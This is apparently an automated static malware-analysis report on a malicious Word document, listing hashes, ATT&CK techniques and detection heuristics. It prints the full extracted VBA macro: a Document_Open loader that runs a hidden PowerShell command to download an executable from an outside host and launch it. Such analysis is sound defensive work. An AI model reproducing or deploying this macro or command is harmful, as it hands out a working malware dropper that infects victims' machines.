Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dea3578781edb819…

MALICIOUS

Office (OLE)

30.0 KB Created: 2018-02-16 16:44:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: e8d2ee56f6986c0f1434837e9ab88699 SHA-1: 0d8904a1eb69fa7c72eba6c2bc38da805d74ad94 SHA-256: dea3578781edb819ab50164fb298b4d40c5ee80e1555e25f454cd64b134f4ae4
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The Document_Open VBA macro contains a critical Shell() call that executes a PowerShell command. This command is designed to download a file from 'https://c.top4top.net/p_769a2vuu1.jpg' to '%TEMP%\xpl.exe' and then execute it. This indicates the document is a malicious loader, likely delivered via spearphishing.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
    fExecute = Shell(sVarName1, sVarName2)
    End Function
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim PShellCode As Variant
    PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://c.top4top.net/p_769a2vuu1.jpg','%TEMP%\xpl.exe');Start-Process '%TEMP%\xpl.exe'"
    Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Option Explicit
    Private Sub Document_Open()
    Dim PShellCode As Variant
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Function fGetPath(sVarName1 As Variant) As Variant
    fGetPath = Environ$(sVarName1)
    End Function
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://c.top4top.net/p_769a2vuu1.jpg In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 980 bytes
SHA-256: 7e3ebad2a8eabd87d1c8716d5730c65a0c3fba94b23d521c179347f301415bed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://c.top4top.net/p_769a2vuu1.jpg','%TEMP%\xpl.exe');Start-Process '%TEMP%\xpl.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
End Sub
Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function


Attribute VB_Name = "NewMacros"
Sub sll()
'
' sll Macro
'
'

End Sub